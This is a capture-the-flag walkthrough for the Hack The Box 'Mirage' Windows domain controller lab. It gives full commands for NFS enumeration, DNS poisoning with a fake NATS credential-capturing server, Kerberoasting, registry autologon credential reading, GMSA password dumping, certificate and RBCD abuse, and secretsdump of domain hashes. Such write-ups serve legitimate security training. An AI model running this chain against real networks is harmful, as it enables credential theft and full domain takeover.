Mirage HTB Writeup | HacktheBox | Season 8
https://app.hackthebox.com/machines/Mirage
2025-07-22 15:01:05 - xone
đ§ž Machine Info Recap
Machine Name: Mirage
Target IP: $IP
DIFFICULTY:Hard
Points: 40
OS:Windows
đ Step 1: Nmap Full Port Scan â Reconnaissance
nmap -v -sCTV -p- -T4 -Pn $IP
Nmap scan report for 10.10.11.78 Host is up (0.43s latency). Not shown: 985 closed tcp ports (reset) PORT   STATE SERVICE    VERSION 53/tcp  open domain    Simple DNS Plus 88/tcp  open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-20 11:19:33Z) 111/tcp  open rpcbind? |_rpcinfo: ERROR: Script execution failed (use -d to debug) 135/tcp  open msrpc     Microsoft Windows RPC 139/tcp  open netbios-ssn  Microsoft Windows netbios-ssn 389/tcp  open ldap     Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 445/tcp  open microsoft-ds? 464/tcp  open kpasswd5? 593/tcp  open ncacn_http  Microsoft Windows RPC over HTTP 1.0 636/tcp  open ssl/ldap   Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 2049/tcp open mountd    1-3 (RPC #100005) 3268/tcp open ldap     Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap   Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 5985/tcp open http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 50300/tcp open msrpc     Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: |  3:1:1: |_  Message signing enabled and required | smb2-time: |  date: 2025-07-20T11:20:47 |_ start_date: N/A |_clock-skew: -2h59m07s
Add hosts
dc01.mirage.htb mirage.htb nats-svc.mirage.htb
đ Exploiting NFS Share on HTB Mirage
đ Initial Recon: NFS Discovered
While enumerating open ports on the target 10.10.11.78, we noticed that port 2049/tcp was open, which is typically used for NFS (Network File System). This suggests we might be able to access shared directories remotely.
2049/tcp open mountd    1-3 (RPC #100005)
NFS can often be misconfigured to allow unauthenticated access. So, the next logical step is to check for exported file shares using showmount.
đ¤ Enumerating NFS Exports
We used the following command to enumerate shared directories:
showmount -e 10.10.11.78
Output:
Export list for 10.10.11.78: /MirageReports (everyone)
This confirms that /MirageReports is an NFS share accessible to everyone â likely world-readable. This is a strong indicator of potential information disclosure.
đĽ Mounting the NFS Share Locally
To explore this share, we mounted it on our local machine.
mkdir /tmp/mirage sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage
Once mounted, we navigated into the directory to inspect its contents.
cd /tmp/mirage ls
Files found:
Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
These documents immediately caught our attention â incident reports and hardening guides often contain juicy internal details such as usernames, server hostnames, exposed services, or security misconfigurations.
đ§Ş Kerberos, DNS Poisoning, and NATS Exploitation on Mirage
đ Authentication Hardening Report Analysis
After reviewing the PDF files found via the NFS share, one stood out:
Mirage_Authentication_Hardening_Report.pdf.
This document outlines a recommendation to:
- Disable NTLM authentication.
- Use Kerberos-only authentication instead.
- Ensure proper DNS resolution for internal services like nats-svc.mirage.htb.
This is critical. If nats-svc.mirage.htb is missing in DNS and the environment enforces Kerberos, we can abuse DNS updates to redirect that service name to our attacking machine â tricking the system into authenticating to us.
đ ď¸ Step 1 â Kerberos Configuration
Before proceeding, we ensure our Kali box is ready to communicate via Kerberos by configuring /etc/krb5.conf:
[libdefaults]   dns_lookup_kdc = false   dns_lookup_realm = false   default_realm = MIRAGE.HTB [realms]   MIRAGE.HTB = {     kdc = dc01.MIRAGE.HTB     admin_server = dc01.MIRAGE.HTB     default_domain = MIRAGE.HTB   } [domain_realm]   .MIRAGE.HTB = MIRAGE.HTB   MIRAGE.HTB = MIRAGE.HTB
đ°ď¸ Step 2 â DNS Poisoning and Fake NATS Service
Weâre told nats-svc.mirage.htb lacks a DNS record. Thatâs our opportunity.
We first create a fake NATS server listening on port 4222 â the default for NATS.
đ§ fake_server.py
import socket print("[+] Fake NATS Server listening on 0.0.0.0:4444") s = socket.socket() s.bind(("0.0.0.0", 4222)) s.listen(5) while True: Â Â client, addr = s.accept() Â Â print(f"[+] Connection from {addr}") Â Â client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n') Â Â data = client.recv(1024) Â Â print("[>] Received:") Â Â print(data.decode()) Â Â client.close()
Now poison the DNS:
nsupdate > server 10.10.11.78 > update add nats-svc.mirage.htb 3600 A 10.10.x.x
𧲠Result: Credential Leak
Once the target attempts to reach the NATS server, it authenticates to us â and we capture credentials:
[>] Received: CONNECT {"user":"Dev_Account_A","pass":"hXXXXXXXXXXXXXXXXXXX", ... }
đĄ Step 3 â Interacting with NATS
We now install and configure natscli to interact using the credentials we captured:
/opt/nats/nats context add dev-nats \ Â --server nats://dc01.mirage.htb:4222 \ Â --user Dev_Account_A \ Â --password 'hXXXXXXXXXXXXXXXXX' \ Â --description "Dev access"
Then subscribe to all messages:
/opt/nats/nats --context dev-nats sub ">" --count 10
We observed live traffic including advisory events and auth_logs.
đ Step 4 â Extracting Historical Logs via JetStream
We create a JetStream consumer to dump past authentication logs:
/opt/nats/nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit
Use the following values:
- Start policy: all
- Replay policy: instant
- Filter: logs.auth
Now retrieve all messages:
/opt/nats/nats --context dev-nats consumer next auth_logs audit-reader --count=5 --wait=5s --ack
đŻ Credentials Captured: json
{"user":"david.jjackson","password":"XXXXXXXXXXXXXXXXXXXX"}
đ§Ş Step 5 â Testing New Credentials
Ensure time sync with the DC:
sudo ntpdate dc01.mirage.htb
Then test the captured creds via LDAP:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k
â Success!
Also, enumerate domain users:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k --users
Sample output:
mirage.htb\david.jjackson mirage.htb\svc_mirage mirage.htb\Dev_Account_A mirage.htb\nathan.aadam ...
đ§ Step 6 â BloodHound Enumeration
With valid credentials and Kerberos access, we run bloodhound-python:
bloodhound-python -u david.jjackson -p 'XXXXXXXXXXXXXXXXX' \ -k -d mirage.htb -ns 10.10.11.78 -c All --zip
This completes enumeration of:
- Domain Users
- Groups & OUs
- Computers & Sessions
- Trusts (if any)
- GPOs
Output is ready to be uploaded to BloodHound for privilege escalation analysis.
đŻ Kerberoasting & Gaining Access as nathan.aadam on HTB Mirage
đ Kerberoasting via Impacket
After some user enumeration, we identified a valid domain user: david.jjackson. From previous steps, we had obtained a valid TGT using Kerberos (-k flag), which let us attempt Kerberoasting using Impacket's GetUserSPNs tool.
impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -request
This pulled a Service Principal Name (SPN)-based ticket for another user:
ServicePrincipalName Name MemberOf ------------------------ ------------ ------------------------------------------------------- HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,...
The tool also dumped a TGS hash (Kerberos service ticket) for nathan.aadam, which we saved for offline cracking.
𧨠Cracking the TGS Ticket with Hashcat
The hash type for SPN-based TGS tickets is -m 13100 (Kerberos 5 TGS-REP etype 23). We used rockyou.txt to attempt cracking the hash:
hashcat -m 13100 nathan.hash /usr/share/wordlists/rockyou.txt --show
After a short while, the password was revealed:
nathan.aadam:xxxxxxxx
We now had valid credentials for nathan.aadam.
đŤ Getting a TGT and Shell Access via Evil-WinRM
We proceeded to get a Kerberos Ticket Granting Ticket (TGT) using impacket-getTGT:
impacket-getTGT mirage.htb/nathan.aadam:'xxxxxxx'
A .ccache file was saved:
[*] Saving ticket in nathan.aadam.ccache
We then exported the ticket for use:
export KRB5CCNAME=nathan.aadam.ccache
Now, we could authenticate using Kerberos (no password prompt needed) and spawn a WinRM shell:
evil-winrm -i dc01.mirage.htb -r mirage.htb
â ď¸ Note: We did not supply a username or password â the session used our Kerberos ticket.
Once connected, we successfully landed a shell as:
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
đ Privilege Escalation to Domain Admin on Mirage HTB
After gaining access as nathan.aadam, we pivoted toward privilege escalation using data gathered via BloodHound and Active Directory abuse techniques.
đ BloodHound Insights
BloodHound analysis revealed a potential attack path:
Nathan.aadam â MemberOf IT_ADMIN MARK.BBOND (IT_SUPPORT) â ForceChangePassword â JAVIER.MMARSHALL JAVIER.MMARSHALL â ReadGMSAPassword â MIRAGE-SERVICE$
Our goal: Abuse ReadGMSAPassword on MIRAGE-SERVICE$ to ultimately escalate privileges.
đ Extracting Mark.bbondâs Credentials (AutoLogon Trick)
On Nathanâs session, we queried the registry for autologon credentials:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
We found:
DefaultUserName  REG_SZ  mark.bbond  DefaultPassword  REG_SZ  1dXXXXXXXX
â Valid credentials:
mark.bbond:1dXXXXXX
đ Resetting Javier.mmarshallâs Password
Using bloodyAD, we leveraged ForceChangePassword from Mark to reset Javier's credentials:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1dXXXXXX' set password JAVIER.MMARSHALL 'P4ssw0rd!'
â Password successfully changed.
However, trying to query msDS-ManagedPassword failed:
KerberosError: KDC_ERR_CLIENT_REVOKED
đ User Is Disabled â Reactivating Javier
Checking user status:
bloodyAD --kerberos -u "mark.bbond" -p '1dxxxxxxx' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr userAccountControl
Status:
OU=Disabled userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT
To fix this, we removed the ACCOUNTDISABLE flag:
bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE
â Javierâs account re-enabled.
đ Dumping the GMSA (Group Managed Service Account) Password
Now with Javierâs account active, we pulled the GMSA password:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p 'P4ssw0rd!' get object 'Mirage-Service$' --attr msDS-ManagedPassword
Output:
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b4xxxxxxxxx:305806d84f7c1be93a07aaf4xxxxxxxxxx
â We now have the NTLM hash of Mirage-Service$.
đŤ Getting a TGT Using the GMSA Hash
impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aafxxxxxxxxx
Ticket saved to Mirage-Service$.ccache.
export KRB5CCNAME=Mirage-Service\$.ccache
đ Certificate Abuse with Certipy (Misconfigured CA)
From Mirage-Service$, we abused certificate templates using Certipy:
Step 1: Modify UPN of Markcertipy-ad account update \ -user 'mark.bbond' \ -upn 'dc01$@mirage.htb' \ -u 'mirage-service$@mirage.htb' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target dc01.mirage.htbStep 2: Revert UPN and Request a Certificate
export KRB5CCNAME=mark.bbond.ccache certipy-ad req \ -u 'mark.bbond@mirage.htb' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target 'dc01.mirage.htb' \ -ca 'mirage-DC01-CA' \ -template 'User'
â Certificate saved as dc01.pfx.
đ§Ź LDAP Shell + Resource-Based Constrained Delegation (RBCD)
Using the certificate:
certipy-ad auth \ -pfx dc01.pfx \ -dc-ip 10.10.11.78 \ -ldap-shell
In the shell:
set_rbcd dc01$ Mirage-Service$
â RBCD granted â Mirage-Service$ can now impersonate dc01$.
đ§ââď¸ Impersonating dc01$ (Domain Controller)
We used S4U2Self + S4U2Proxy to get a service ticket as dc01$:
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' \ -dc-ip 10.10.11.78 \ 'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07axxxxxxx
â Got a TGS ticket for cifs/DC01.
đŞ Dumping All Domain Hashes â Full Pwn
impacket-secretsdump -k -no-pass mirage.htb/Administrator@dc01.mirage.htb -dc-ip 10.10.11.78
â Administrator hash dumped!
impacket-getTGT mirage.htb/Administrator -hashes :7be6d4f3c2b9c0e356XXXXXXXXXX -dc-ip 10.10.11.78
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companiesÂ
[*] Saving ticket in Administrator.ccache